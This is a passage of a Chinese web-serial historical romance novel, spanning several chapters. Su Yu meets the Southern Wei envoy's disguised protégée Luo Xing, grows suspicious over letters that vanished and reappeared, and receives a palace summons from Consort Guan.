梁沐想了想吩咐着:“有可能是来找慕容弦的,留意动向即可。” 驿馆不是南魏专用,苏钰的舅舅慕容弦虽然住在了楚王府,但入京朝贺事务繁多,慕容弦最多晚上回王府睡觉,白天还是要来驿馆办公。 薛迟与苏钰的关系人尽皆知,他俩同路来,最有可能是来找慕容弦。 “薛迟和苏钰……”罗星来了兴趣,起身就往外走。 她的伪装不能说天衣无缝,但苏钰确实是第一个识破她的。 她一直都很好奇,苏钰是怎么发现她的。 “小主子。”梁沐吓也一跳,见罗星出去,连忙跟了出去,心思转动。 不对啊,罗星上午才进的驿馆,不到中午,薛迟就带着苏钰来了,会是巧合? 此时驿馆门口,薛迟一身便装,苏钰穿了男装,为的骑马方便。 缰绳交给门口小厮,驿馆守门认识薛迟,见礼通报,也不敢阻拦。 苏钰第一次进驿馆,有些好奇的四处张望。她听人说过,大周的驿馆很有特色。 只是这特色…… “这布局……是参考了南魏和北齐的建筑风格吗?”苏钰忍不住说着。 大周的建筑都是四四方方,连衙门都是。前厅后院,哪里住人哪里会客,都大差不差。 而驿馆的建筑格局,很有一种八卦阵的感觉。 “没有。”薛迟说的时候有些无语。 没参考任何风格,是显庆皇帝亲身过来,手持罗盘规划的。 按他说的,在这样的风水局下,定然能把周边的宵小镇住,百年内不得翻身。 礼部和工部都无语了,钦天监甚至想上书,这话他们也能干。 显庆皇帝却十分认真,工部出了图纸后,亲自审核,只是图纸就修了几十遍,折腾大半年。 后来工程开始,动工时间是显庆皇帝选的,工程过半时,显庆皇帝还来监工。 工部翻工了两回,显庆皇帝盛怒之下,还斩了一个员外郎。 最后完工,显庆皇帝还来验收,表示非常满意。 完工之后,显庆皇帝还很得意的跟薛迟说,这个风水阵,损耗了他十年修为,但为了让南魏和北齐臣服都是值得的。 薛迟能说什么呢,只能说父皇威武。 显庆皇帝干过的奇葩的事不少,亲自修驿馆这出,依然让人印象深刻。 这种情况下修出的驿馆,奇葩之处连南魏的使者来的时候都有些懵逼。 南魏这种神权大于皇权的国家,使臣看到这样的驿馆都想说一句,封建迷信要不得。 “我们今天是来找我舅舅的?”苏钰好奇问。 但要为了找慕容弦,去楚王府岂不是更快。 薛迟正想说,只见梁沐匆匆迎了上来,身边跟着一个便装男子。 “薛大人。”梁沐拱手笑着,一副急匆匆的模样,正想寻个借口,带着罗星离开驿馆。 苏钰的目光看向罗星,眼中透着疑惑,却是道“你……” 罗星眨眨眼,声音却是粗哑的男声,“姑娘认得我?” 苏钰越发确定,“你就是南魏的小主子。” 满城搜捕,却在驿馆里。 这应该也是薛迟今天带她过来的目的,见见这位南魏的小主子。 虽然没有任何人告诉她,也没有办法证实,但直觉告诉她,她是苏辰。 梁沐神色大变,刚想辩解圆场,就听罗星好奇问着,“我挺好奇的,你到底是怎么认出我的?” 上回她一身舞娘装,脸化的五官都看不清了。这回直接连性别都改了,苏钰还是一眼认出她。 至于被认出的后果,她离开南魏是因为没人能拦住她。 同样的,她想在大周脱身也很容易。 苏钰想了想,反问罗星,“姑娘可认识我的堂弟苏邑。” 为什么能认出罗星,大概是因为她跟苏邑太熟了,熟到化成灰都认识。 第150章 第 150 章 提到苏邑,罗星有…… 提到苏邑, 罗星有片刻的沉默。 她当然认识苏邑,很早以前,苏邑十二岁就出现在对战南魏的战场上。 她没上过战场,老头子不让她去。但她的性格, 越是不让的, 她就越要去。 她第一次见到苏邑时, 心情很微妙。 幼时的记忆片段涌上心头, 可能是年龄的关系,许多事情她记不得, 偶尔的时候又能忆起一部分。 见到苏邑后,她记起的东西更多了。 “苏姑娘。”梁沐神情严肃,“我南魏使者己在路上,为两国的和平,还请慎言。” 虽然是在大周京城, 但若是大周人准备对罗星做什么,他们这些人就是拼死也会保护罗星周全。 罗星似看出梁沐的想法,眼中眼带着无语和嫌弃, 对他说着, “你紧张什么, 不管谁想做什么,把他们都杀了就是。” 她会来大周, 是好奇自己的身世, 但也只是好奇,并没有认亲的想法。 没打算认亲,就不是亲友。不是亲友的人,意图对她做什么,她也就没必要客气。 苏钰看着罗星满不在乎的脸, 有瞬间的怔忡。 罗星说到杀人的表情,是真的无所谓。 “两位误会了。”薛迟笑着说,“和谈在即,南魏国师的爱徒肯来大周,高兴还来不及,如何会不利。” 苏钰不知道,薛迟很清楚,罗星在南魏的地位。 罗星真在大周出事,会出大事的。 与南魏打了这么多年,能够和平会谈对双方都是喜事,连显庆皇帝都不想打了。 梁沐顿时舒口气,罗星问:“你们今天来是有什么事吗?” 薛迟笑着道:“既知南魏贵客上门,自该前来拜访。和谈在即,我想梁大人也不想出意外。” 罗星还有点不明白,梁沐顿时明白了,笑着说,“薛大人说的是,都是为了和谈。” 罗星的到来是意外,但不管是不是意外,以她的身份既然来了大周,大周就得保证她的安全。 她若是在大周出了事,不管是不是大周动的手,南魏第一个要追究就是大周。 薛迟前来,是示好也是一种表示。我知道你来了,但不会动你,和谈第一重要。 苏钰心情复杂的看着罗星,欲言又止的想说什么,抬头就见慕容弦带着随从从大门进来。 慕容弦一身官服,应该是刚从宫里出来。看到薛迟和苏钰,也停了脚步。 “慕容大人。”薛迟拱手说着。 苏钰见礼,“舅舅。” 慕容弦点点头,又看一眼梁沐,同住在驿馆,自然知道对方身份。 “慕容大人。”梁沐笑着见礼,心里多少舒口气,来个外人正好可以缓解一下气氛,尤其南魏与慕容氏关系还不错。 “薛大人,梁大人。”慕容弦说着,却是看一眼苏钰,“好巧。” 有话不在屋里说,堵在门口,应该是门口恰巧遇到。 薛迟既然带着苏钰过来,多半是来找他的。 “我与阿钰来寻慕容大人。”薛迟笑着说。 苏钰没作声,只是笑着看向慕容弦。 她可以肯定,薛迟是带她来见罗星的,但薛迟这么说,她肯定不会拆穿。 梁沐更高兴了,“那就不打扰三位叙旧了,告辞,告辞。” 说着转身就要回去,却格外看一眼罗星,希望她能跟自己一起回去。 罗星难得配合,跟着梁沐一起,转身回去。 “委屈小主子了,那人是西北慕容氏现任的王,慕容弦。”梁沐小声对罗星说着。 罗星神情晦暗不明,“我知道。” 苏略告诉她了,并且很热心的告诉她,她应该杀了慕容弦。 慕容弦或许该杀,但苏略借刀杀人的算盘打的太响,她还不想让他如愿。 梁沐走了,慕容弦看向薛迟和苏钰,“屋里说。” 绕过奇葩的庭院,苏钰跟着进到属于慕容氏的房舍中,古怪感扑面而来。 不是摆设古怪,而是房屋建造的更奇葩了。 地方明明是够的,可以建的四四方方的房屋,却搞得四处缺角,就没有完整的地方。 “坐。”慕容弦招呼两人坐下。 薛迟的身份,慕容宁跟他说了。 真是想不到,大周的皇帝也是会玩,嫡长子都送出宫了。 薛迟与苏钰的关系更让慕容弦意外,有苏天翊在后面推波助澜,苏钰成为皇后轻而易举。 苏钰成了大周的皇后,也挺好,有这层血缘关系在,对慕容氏也是有利的。 薛迟和苏钰依言坐下来,小厮送上茶点,全部都是西北风格的。 苏钰端起杯子喝茶,倒不是渴了,而是她不知道薛迟要跟慕容弦说什么,自己更不知道要跟慕容弦说什么。 既然旁听的,索性喝茶打混,省得尴尬。 薛迟挑起了话头,与慕容弦聊了起来。 聊的是公事,苏钰默然听着,大概都能听懂。朝堂上的事她没有特意留心过,但身在苏家,要是完全不了解,也不可能。 北齐与南魏同时派出使臣和谈,在大周历史上都是没有的,显庆皇帝认为这是自己的功劳。 耗费十年功力布下的风水阵,开始起作用了,让北齐和南魏称臣指日可待。 如此喜庆的时刻,显庆皇帝就想大办特办,正好慕容弦也进京了。 各种活动准备上,但凡能彰显天朝大国风范的都得上。 礼部上下忙成一团,各种安排忙不过来,把工部和户部拉上一起忙。 户部管钱,大型活动花钱如流水。至于工部,工部管工程,准备活动就得搭建场地,可不得工部搭把水。 六部里面,三部忙到飞起,就为了这回的和谈。 两人聊了差不多半个时辰,苏钰茶都要喝完了,两人终于聊完,薛迟起身告辞,苏钰也跟着起身。 慕容弦并没有挽留,送两人至门口时,对苏钰说,“你母亲很想念你,希望你能多去王府。” 苏钰心绪复杂,却是笑着说,“我正想着要回去。” 薛迟拱手,“告辞。” 小厮早就牵马过来,接过缰绳,骑马回去时,苏钰一脸心事重重的模样,就听薛迟说着,“时间还早,我们去品花楼坐坐。” 己经半下午了,苏钰多半也饿了,去品花楼坐会吃点东西,也能舒解一下心情。 “也好。”苏钰说着。 虽然她也想早点回去找苏邑。但此时心情郁闷,就是找苏邑,也不知道要说什么,不如先整理一下思绪。 骑马到品花楼,刚进门掌柜吴德全就迎了上来。 因为罗星的缘故,品花楼被拆了一部分。虽然在紧急抢修中,好些院落还不能使用,其中就包括薛迟常使用的。 “贵客迎门,蓬荜生辉。”吴德全满脸笑容。 心里却有些发苦,上一回因为苏钰,薛迟与谢无衣打架,拆了品花楼的大堂。 这回也是因为苏钰,拆了品花楼的后院。 上回好歹晋阳长公主赔钱了,这回赔钱都找不着人。 “寻个清净地。”苏钰不想听吴德全絮叨,直接吩咐着。 吴德全马上闭了嘴,亲自引着两人至后院一所小跨院中,刚想说上几句,薛迟就吩咐着,“准备膳食,闲杂人等莫要打扰。” “是。”吴德全更不敢多说话了。 稍等片刻,婆子提着食盒进来,小丫头摆桌。一桌子菜摆满,丫头婆子退了出去。 薛迟和薛迟这才落坐,刚拿起筷子,苏钰就忍不住说,“你带我去驿馆,就是为了见南魏的这位小主子。” “她叫罗星,是南魏国师的爱徒,在南魏是一人之下,万人之上。”薛迟说着。 那天之后,苏邑几乎要调动苏家能用的力量,全城搜查罗星。 他知道苏钰肯定很在意,今早出门时收到罗星的消息,他临时改更计划,带着苏钰去见了罗星。 苏钰神色困惑,不解说着,“南魏是没人了吗,为什么要收一个大周人当徒弟?” 就是苏辰当年被拐后,辗转流落到南魏,南魏人与大周人在长相还是有点区别的,南魏国师的地位收徒弟应该很谨慎才对。 薛迟摇摇头,他也十分不解,“这个问题只能问南魏国师。” 就是罗星的天赋异禀,但非我族类,弄不好就是敌人培养人才了。 “我真没想到,辰姐儿会……”苏钰心情复杂,不知道说什么好。 幼女被拐,流落江湖,境况一般都不会都很好。 这么多年来苏天华寻人,也是往市井江湖找,怎么都想不到,苏辰竟然去了敌国,身份还如此之高。 从现实角度讲,现在罗星拥有的,苏家给不了。 转念又想到了叶氏和苏天华,尤其是叶氏。 因为苏辰丢了,与苏天华各种打架,苦熬了十几年。 现在亲生女儿找到了,只因为对方给的更多,女儿不愿意认回亲生父母,这也太荒谬了。 薛迟夹菜放到苏钰碗里,劝慰她,“此事苏先生自有定夺,你也不必太忧心了。” 不想惹得苏钰更心烦,很多话也不便说。 南魏国师在南魏是神一样的存在,他对罗星的宠爱到达了匪夷所思的地步,罗星才养成了如此无法无天的性格。 罗星要是舍了他,回了苏家,他绝不会善罢干休。 对大周来说,南魏国师的徒弟是苏天华的亲生女儿,震憾不可谓不大。 不管罗星是否回归苏家,只要消息在京城传开,苏天华的前程就全完了。 别说关太后这种政治强人,就是显庆皇帝这个不靠谱的,都不敢让他领兵。至少与南魏战事再起时,绝不敢用苏天华。 这么多年了,以苏天翊的能力没能带回罗星,不是能力不够,而是其中的厉害关系,实在太过于复杂。 那位失去徒弟可能会发癫的南魏国师,苏天翊不可能不考虑。 但亲侄女就在跟前,不认回来只怕苏天翊也不愿意。 现在罗星己在京城,与其烦心,不如等苏天翊的安排。 苏钰在情绪不佳中吃完饭,时间己经不早,薛迟送苏钰回了苏家。 与薛迟告别,苏钰回到听雨轩,小丫头侍侯着刚换了衣服,绿川突然对小丫头说着,“你们都先出去。” 小丫头们依言出去,苏钰看向绿川,就见绿川 扑通一声跪在地上,哭泣说着,“姑娘,信丢了……” 150-160 第151章 第 151 章 “姑娘,信丢了。…… “姑娘, 信丢了。”绿川脸上带着恐惧。 苏钰愣了一下,有点没反应过来,“什么信?” “谢大爷写给您的信。”绿川说着,好像要验证一般, 她打开柜子, 把装信的匣子拿出来。 苏钰这才理解绿川所说的, 是笔友的信丢了。 “这, 怎么可能会丢。”苏钰震惊不己,不可思议中带着一丝丝茫然。 绿川眼泪落了下来, 打开匣子的手都是抖的,“我对不起姑娘,没有保管好……” 满匣子的信件让绿川的话嘎然而止,一颗心如坠冰窑,僵硬的站在原地, 连话都说不出来。 这些信竟然又回来了…… “这不是都在吗?”苏钰不自觉得吁口气,笑着说,“屋里那么多丫头婆子, 怎么会丢了东西。” 就是她不在国公府, 听雨轩也会有丫头婆子留守, 不存在屋子空的情况。 苏家的下人又都是家生子,好些人都是从祖父起就在府里侍侯的。 好吃懒做睁偷奸耍滑, 主子只眼闭只眼能凑和着过去, 但若有偷窃背主之类的事情,那可是会连累家人的,几辈子老脸都丢干净。 更重要的是,信件又不值钱,偷之无用。 “不, 不是的……”绿川惊恐的摇摇头。 她可以确定,她上次看到的时候,匣子是空的,信件全部都不在了。 她想到苏略发怒时所说的话,既然知道信丢了,为什么不马上告诉苏钰,而是隐瞒不报。 当时就把空匣子给苏钰看了,就把信丢的事做实了。不然等信都还了回来,说信丢过苏钰都不相信。 苏钰见绿川神情不对,随手拿起几封信,拆开看了看,“没有错,是谢无衣的信。” 字迹没有错,内容也没有错,连封的信皮都是原模原样的。 “你最近是不是太累了。”苏钰对绿川温声说着,“这些年你都没休息过,我放你几天假,好好歇一歇。” 绿川眼中含泪,直接给苏钰跪了下来,右手指天,“这些信件前几天真的丢了,姑娘若是不信,我指天为誓,若有一句虚言,让我天打雷劈不得好死。” 苏钰吓了一跳,连忙扶起绿川,“好好的,这是做什么。” 绿川哭着,执意跪着,眼泪止不住的往下掉,“姑娘,我相信我,信真的丢了,这些是又送回来的。” 苏钰看着失声痛哭的绿川,心里相信了她说的,但是…… 为什么,几封信而己,谁会做这样的事。 而且这里是苏家,她私密的东西,被人拿走又送回来,让她有种背脊发凉的感觉。 “是薛大人。”绿川哭泣说着,“除了他,也没人知道这些信的存在。” 苏钰有点懵,没有证据,也不需要证据,排除法就能得到的答案。 她与笔友的事是秘密,除了两个当事人,再就是一直跟着她身边的绿川。 还有,她坦言告之的薛迟。 但,薛迟为什么会做这种事? 苏钰无法理解,又觉得是不是哪里搞错了。 她与薛迟感情正好,与谢无衣,由始至终就没有开始过。 就是这些信,她虽然留着,却早己束之高阁。 “姑娘……” 哭泣的绿川把苏钰又拉回了现实,就听绿川哭泣说着,“姑娘若是心存疑惑,何不与薛大人说清楚。总是这样藏着掖着,也不好。” 苏钰沉默着,她心里很乱。 去质问薛迟? 快刀斩乱麻,这个建议倒是不错,只是这样的建议,好像不是绿川该说出来的。 “先把这信收起来。”半晌之后,苏钰说着。 绿川哭的都快虚脱了,听到苏钰的吩咐,便把信又都放回了匣子里。 “姑娘,这些信放哪里?”绿川问着。 “先……放到东厢房吧。”苏钰说着,只觉得头都要裂开了。 绿川抹着泪,拿着匣子去了东厢房,苏钰几乎是跌坐在罗汉床上。 苏钰呆呆坐着,努力的想把乱成一团的思绪整理出来,拼命寻着线头,却发现哪哪都是。 她甚至有些后悔,她不该跟薛迟坦白。 或者让她早一天知道谢无衣就是笔友,她也绝对会把这事烂死在肚子里。 笔友是旁人,过去就过去了。 笔友是谢无衣,薛迟同府的兄弟,这事就难过去。 薛迟现在看了谢无衣写给她的信,她写给谢无衣的,只怕也看到了。 她屋里的信都能拿到,谢无衣现在人不在京城,又与他同在公主府,拿到信更容易。 回想两人书信的内容,确实没什么私情,也没什么见不得人,不能看的。 但…… 看信的人变成薛迟,感觉就又不一样了。 糟糕透了。 “姑娘。” 绿川洗了脸,崩溃的精神恢复了许多,手里端着茶碗,“喝口茶吧。” 苏钰摇摇头,却是看一眼绿川。 今天发生太多事,让她都有些应接不暇。 “姑娘为何这般看着我?”绿川被苏钰看的有些心虚。 苏钰依然看着她,嘴边的话,却说不出口。 绿川跟在她身边十几年,一言一行皆入她眼中,今天的事,绿川的话可能是真的,信也许真丢过。 但表演的迹痕太重。 她有些不解,绿川为什么要跟她演。 以她们俩人的感情,有什么话是不能直接说的,到底要演什么。 或者说,绿川想隐瞒什么。 “姑娘?”绿川再次说着,心里却有些不安。 苏钰问不出口,摇摇头,“没什么。” 苏钰在家里静了两天,什么人都不想见,甚至连听雨轩都不想呆。 让绿川留下看屋子,苏钰在花园随意逛着,国公府花园很大,苏钰逛的时候不多。 主要是外头更好玩,逛花园多没意思。 “姑娘,该吃中饭了。”琉璃走过来说着。 苏钰指了指前头的望月亭,“饭摆那里。” “是。”琉璃应着,赶紧去传话。 苏钰先一步到亭中坐下来,正值春季,园中春色撩人,花丛之中蝶舞翩跹,蜜蜂忙碌,一片生机勃勃之象。 很快婆子提着食盒,小丫头们端着水盆手绢过来。 婆子收拾桌子摆饭,小丫头们侍侯着苏钰洗了手。 不大的圆桌很快摆满,菜肴精致,皆是苏钰所喜欢的。 苏钰心里有事,没什么胃口,正要拿起筷子,抬头就见苏邑匆匆而来。 苏邑也看到苏钰,见她正要吃饭,不等苏钰邀请,径自过来,“真是巧了,我正饿着。” 他刚从外头回来,本欲去叶氏那里吃饭,现在遇到苏钰这里开饭,自然不会客气。 苏家主子每餐的饭菜足够几个人吃,临时添一个人没影响。 “先洗手。”苏钰笑着说,“你这是打哪回来,满头都是汗。” 小丫头侍侯着苏邑洗了手,又盛饭奉给苏邑。 苏邑接过来,顾不上回答,大口吃饭。 苏邑吃的很快,风卷残云一般,一会功夫扫荡了大半。 “你怎么不吃?”苏邑这才注意到苏钰没怎么动筷子。 苏钰笑着说,“刚才吃了点心,肚子还是饱的。” 苏邑填饱肚子,见苏钰神色懒懒的,“你可是哪里不舒服。” 苏钰摇摇头,却问苏邑,“你还没说呢,你这是打哪回来?” “建章营骑。”苏邑说着,“谢大人走前,给了我建章营骑的令牌。” 苏钰微微一怔,没想到从苏邑嘴里听到建章营骑四个字,“你与谢无衣关系很好?” 好到连建章营骑的令牌都能借? “为了找到那天的舞者。”苏邑说着,语气带着急切,看向苏钰,“你不觉得她很眼熟吗?” 苏钰没作声,看着苏邑却显得很犹豫。 她想告诉苏邑真相,但以苏邑的性格,他若知道了,叶氏和苏天华就会知晓。 到时候…… 罗星愿不愿意回苏家,或者她能不能回苏家,都是未知数。 “怎么了?”苏邑被苏钰看的有点发毛。 苏钰道:“不用找了,上午薛迟告诉我,人在驿馆。” 苏邑大喜,起身道:“我去找她……” “你坐下。”苏钰打断苏邑。 苏邑愣了一下,甚少见到苏钰脸色如此凝重,复又坐了下来。 “此人在南魏身份贵重,和谈在即,不可此时生出事端。”苏钰说着。 苏邑又是一愣,没想到对方是南魏人,更没想到她在南魏能身份贵重。 “你十二岁就入军营,应该知晓这回和谈的重要性。”苏钰说着,“不管什么事,和谈完了再说。” “我只想……”苏邑忍不住说着。 他只想去见她,哪怕心中己有答案,还是想再确认一下。 确定她是苏辰,他会告知她身世,再回家告知父母,一家团聚。 苏钰朝他摇摇头,“云棠回家之后,一直伴在二婶身边,自那之后,二婶身体好多了。” 因为苏辰丢了,叶氏煎熬了这些年,云棠就是假的,只要叶氏相信她是真的,解开了心解,叶氏的日子就是舒心的。 这个时候再告诉她,云棠是假的,她的亲生女儿一直在南魏认贼作父。知道了亲生父母在哪里,也没有想回来。 这样的打击苏天华能经的起,叶氏未必经的起。 “听我一句,此事还需从常计议。”苏钰说着。 第152章 第 152 章 苏邑垂头丧气离开…… 苏邑垂头丧气离开了, 苏钰知道他听进去了,心中感慨更甚。 春风抚面,园中撩人的景色仿佛都失了颜色。 好像更烦燥了。 苏钰站起身,对跟上的丫头们说着, “我出门走走。” 琉璃愣了一下, 连忙说着, “奴婢这就通知管事备车。” “不用。”苏钰说着, 径自向花园后门走去。 从国公府后角门出去,转个弯就是正街。 苏钰没有目的四处走着, 突然想到,虽然她常门,但像现在这样,一个下人都不带,车也不坐这么闲逛还是第一次。 当然也不是完全一个人, 身后不远处跟着张三和李四两个保镖。 有过被当街暗杀的经历,苏略特意给她指派了保镖,不可能让她一个人走到大街上。 四处闲逛着, 不知不觉中竟然走到了文墨斋, 生平第一次搞的产业, 虽然失败赔钱,但看着眼前的牌匾以及川流不息的宾客, 竟然有瞬间失神。 “客人, 里面请。”小二笑脸相迎,对苏钰说着。 客人两个字让苏钰轻笑一声,不知不觉中小二又换了一批。 苏钰进到店里,只见店内重新装潢过,原本普通的书店竟然带着高级感。 一个胖乎乎掌柜模样的人迎了上来, 笑着说,“客人想看些什么书?” 苏钰看着他,有些疑惑,“我记得这间店的掌柜是夏书和。” 虽然上回来的时候,也没遇到夏书和。但新掌柜都上任了,夏书和去哪里了? 胖掌柜笑的更灿烂了,“客人知晓夏老板,这是老主顾了。夏老板新店开张,顾不上这里,才请了我代管。” “新店开张?”苏钰又是一怔。 胖掌柜连忙解释起来,原来夏书和除了经营书店外,还开了酒楼布庄,因为会做生意,开的店铺都很赚钱。 跟京城的世家皇商,虽然还有差距,但比起普通的书店老板,现在的夏书和是大老板了。 苏钰听得有点懵逼,怎么也没想到,夏书和都成大老板了。 胖掌柜看苏钰衣着气质不俗,又与夏书和相熟的模样,便说着,“夏老板现在应该酒楼,我派人送客人过去。” “不用了。”苏钰说着。 她本就是闲逛,也没什么想与夏书和说的。 胖掌柜看苏钰拒绝,也不敢多言,只是认真的向苏钰介绍店内书籍。 苏钰看向话本的区域,都是最新的,不知如何突然没了兴趣。 从文墨斋出来,苏钰回头看了一眼,牌匾未换,却觉得十分陌生。 本想出门散心的,竟然散出了物是人非之感。 苏钰没有再逛下去,转身欲回国公府时,抬头就见陈平和夏书和有说有笑,并肩而来。 因为心情太烦燥,她这是眼花了吗? 陈平是官员,夏书和就是成大商人了,那也是商人。 地位如此悬殊的两个人,连认识都不可能。 不对,有可能认识。 向薛迟坦言笔友之事时,是提了文墨斋的。 想到不知何时丢失,又不知何时回来的信件,再看到陈平和夏书和。 这一瞬间,苏钰心头浮起一抹窒息感。 陈平首先看到苏钰,连忙迎了上来,郑重见礼,“见过苏姑娘。” 夏书和看到苏钰也有些惊讶,也跟着陈平一起见礼,“苏姑娘。” 苏钰向夏书和点头示意,又看向陈平,微笑说着,“好巧啊,陈大人。” 陈平笑着,却是看向苏钰四周,除了两个远远跟着的保镖外,再无他人跟随,连忙说着,“姑娘要去哪,我就让人驾车过来。” “不用,我回苏家,几步路而己。”苏钰说着。 陈平十分坚持,“街上人多车多,万一有不长眼的冲撞了姑娘,岂不全是下官的过错。” “我一个人出门走走,怎么就成你的过错了。”苏钰说着,话语中带着不耐烦。 陈平还欲再说。 “够了。”苏钰沉声打断他,“我再说一次,我什么都不需要,离我远些。” 陈平看苏钰动了怒,当即低下头不敢言语。 苏钰几乎是拂袖而去,回去的路上努力平息怒火。 只是,哪里平息的了。 绿川有句话说的很对,她是应该跟薛迟谈谈。 回到国公府时,己经是半下午了。 苏钰回到听雨轩,绿川正在屋里焦急的跺着步,看到苏钰回来,连忙迎了上去,舒口气说着,“姑娘也没带人就出去了,万一冲撞了,可不是玩的。” 苏钰说着,“张三和李四一直跟着我的。” “那哪能一样。”绿川说着。 保镖也就是远远跟着,姑娘出门讲究就多了,就是苏钰经常男装出门,身边跟随使唤的人都不少。 一个下人都不带,她们这些屋里侍侯的人都要担心死了。 苏钰没作声,任由小丫头侍侯着脱了外衣,眼角余光看到琉璃。 做为三等丫头,本是没资格进主人房间的,但因苏钰抬举,此时也跟二等丫头们站一起。 脱了外衣,苏钰在榻上坐下,绿川奉茶上来,“姑娘,喝茶。” 苏钰接过茶碗,却是说着,“我这屋里的事,里外都是你一个人打点,连个帮手都没有,着实辛苦了。” 绿川刚想说不辛苦,就听苏钰继续说着,“琉璃。” 琉璃马上出列,站到苏钰面前。 “我看这丫头就挺机灵的,以后跟在你身边打下手吧。”苏钰说着。 绿川脸色大变,苏钰都没跟她商量,就提拔琉璃上来,这是摆明对她失望了。 琉璃倒显得不卑不亢,跪下给苏钰磕头,又对绿川说着,“以后还要绿川姐姐提点。” “看着就是个伶俐的,以后要好好侍侯姑娘。”绿川强笑说着。 苏钰放下茶碗,绿川拿着贴子上前,“关家送来贴子,三日后关倩倩出阁。” 苏钰接过来看了看,按理说这种喜贴不该送给她一个未出阁的姑娘,而是给当家主母,也就是叶氏的。 会特意送到她这里的,这是点名请她。 “那么快就要嫁进去了。”苏钰说着。 这么短的时间内成亲,婚礼之马虎可想而知。 回想关倩倩,出身名门,才貌全双,这样算计那样谋划,只是为了嫁一个好丈夫。 结果到最后,成了一个傻皇子的侧妃。 连正妃都不是,只是侧妃。 “姑娘要去吗?”绿川问着。 苏钰看着贴子,她并不想去,与关倩倩本就不熟,这婚事又是关贵妃赐的。 昭华公主在与她争吵后殁了,就是与她无关,关贵妃也恨不得她死。 苏钰吩咐绿川,“你去问问二婶,她去不去。她若是去,我就跟她同路。” 关氏还在莲花庵,关倩倩要是嫁进去当皇子正妃,份位在这里,叶氏多半是要去的。 现在是侧妃,还是傻子大皇子的侧妃,叶氏未必会去。 叶氏都不去,她更不想去了。 “是。”绿川应着,赶紧去了。 苏钰吩咐琉璃,“把这几日的抵报拿来。” 琉璃应着,片刻后拿着一叠抵报进来,双手奉给苏钰。 苏钰接过来,大概翻了翻,基本都是说和谈的,再加上工部与户部的一些信息。 大清洗刚过去,朝廷很平静。 绿川回来的很快,“二太太说不想去,若是姑娘想去,她会陪您一起过去。” 果然,叶氏也不想去。 苏钰也不意外,“我更懒得去,你随便挑点贺礼交给管事,与二婶的礼一起送去。” 侧妃而己,礼到人不到,面子上也能过去了。 “是。”绿川应着。 晚饭时间绿川就把礼物挑好,苏钰看都没看,只让绿川送去给管事。 苏钰吃了晚饭,丫头也轮流去吃饭,琉璃是先吃的那一波,绿川侍侯着苏钰吃完饭,琉璃也吃完过来换绿川去吃饭。 苏钰把琉璃唤到跟前,随口问着闲话。 不外乎是多大了,父母在哪里当差,家里还有什么人。 琉璃一一回答,父母兄弟在苏府都是三等下人,她运气好识了字,又因长相还算齐整,才有机会进姑娘屋里侍侯。 苏家是下人多,主子少,哪怕是家生子,想进府侍侯主子,好岗位的竞争也大。 苏钰有一搭没一搭听着,随口问的,心里也不甚在意。 因为她知道,能送到她跟前的下人,苏略肯定查过一遍了。 这个大哥,好是真的很好,就是控制欲太强。从小到大,任何事情都要管着她。 主仆闲聊着,混到晚上。 琉璃和另外一个小丫头守夜,绿川难得回屋睡一回觉。 绝大部分时间,都是绿川守夜的。 躺到床上时,苏钰想着,屋里大丫头还是少了,两个也不够,最好有四个。 每人负责一部分,各管各的,日常侍侯也四个轮着来。 更重要的是感情,一主一仆,容易把感情投射到一个人身上,感觉失望被骗的时候,就会觉得特别难受。 而日常四个人贴身侍侯,就是对一个失望了,感情分散了,难受也不会难受太久。 不由的又想到绿川,苏钰轻轻叹了口气。 绿川也许没有背叛她,敢背叛肯定活不了。 但是跟在自己身边十几年,她视为亲人的人,这样的隐瞒欺骗,她也是接受不了的。 而且这种贴身侍侯的,若是不能把事事她当做第一位,在需要用她的时候就得斟酌考虑。 “姑娘,宫里来人了。” 第153章 第 153 章 苏钰向来睡到自然…… 苏钰向来睡到自然醒, 会叫醒她一般都是有大事。 “宫里太监来传关贵妃懿旨。”琉璃的声音就在耳边。 苏钰迷迷乎乎睁开眼,“关贵妃?” 这是直接下旨赐死,还是想偷偷下毒? 不太情愿的起床,丫头们围着更衣打扮, 走出听雨轩时, 苏钰总算清醒了。 到了前书房, 传旨太监正在厅中坐着, 管事站在旁边坐陪。 听到脚步声,传旨太监抬起头, 却是冷哼着对苏钰说,“终于见到一个主子了,杂家去了那么多家,就没见过哪家主子那么难见的。” 传旨太监是关贵妃的贴身大太监,在宫里是响当当的角色。偶尔到各府去传旨, 当家主子早就迎了出来,各种塞银子陪小心。 唯独来了这苏家,只有管事的端上一杯茶, 男主子女主子一个不见。 苏钰连敷衍都懒得敷衍, 只是说着, “请大人传旨。” 这也是没眼色,主人家都这么不待见了, 还要摆谱, 摆不起来就得会收着。 “哼!”传旨太监冷哼一声,“苏姑娘是打算站着听旨吗?” 苏钰顺势笑着说,“贵妃体恤臣女,臣女也可以站着听。” 传旨太监鼻子都要气歪,指着苏钰, 怒声说着,“大胆。” 苏钰一脸无辜,“不是公公说的吗,站着听旨,我以为是贵妃娘娘体恤,额外开恩。” “胡搅蛮缠。”传旨太监更生气,若是换个人换个地方,杀人的心都有了。此时却只能道,“请苏姑娘跪下听旨。” 苏钰这才跪了下来,传的是口谕。 三天后大皇子纳侧妃,宫里要摆宴,请苏钰勿必参加。同时又说,谷夫人年龄大了,还有孝在身,不必参加。 苏钰听得有点无语,点名让她进宫不意外,特别点名不让谷夫人参加,这是多怕谷夫人进宫。 “苏姑娘,接旨吧。”传旨太监冷笑中带着得意。 现在是在苏家,他自然不敢如何,等进了宫,有苏钰好看。 “臣女领旨。”苏钰说着,站起身来,对旁边管事说着,“代我送送大人。” 管事立即道:“大人,您请。” 几乎是急不可待的赶人,传旨太监更生气,却只能冷哼一声拂袖而去。 苏钰眉头皱了皱,大皇子侧纳妾,关贵妃让她入宫。 这是打算在宫门口埋伏刀斧手,等她进门就乱刀砍死吗。 要说以前,关贵妃可能还要考虑各种局势。 昭华公主死后,关贵妃还能剩下多少理智都不好说。 心里盘算着,苏钰回到听雨轩。 刚刚坐定,就婆子过来传话,“老太太请姑娘过去说话。” 苏钰点头,“我这就过去。” 正欲起身跟着婆子过去,又有婆子进门传话,“公主府的人来了,要见姑娘。” 苏钰想了想,对刚才的婆子说着,“请老太太稍等,我先见客。” 谷夫人唤她过去,肯定是为了三天后进宫的事。 这时候公主府的婆子过来,肯定也是为了同一件事。 关贵妃的懿旨,薛迟也该知道了。 先听听薛迟的意见,再去见谷夫人,心里也有点底。 片刻后,管事媳妇引着公主府的婆子进门,是常来苏家的,苏钰都认识了。 “给姑娘请安。”婆子上前给苏钰见礼。 苏钰招呼着婆子坐下,又让丫头上茶。 “大公子让奴婢给姑娘传话,三天后,大公子陪您一起进宫。”婆子笑着说。 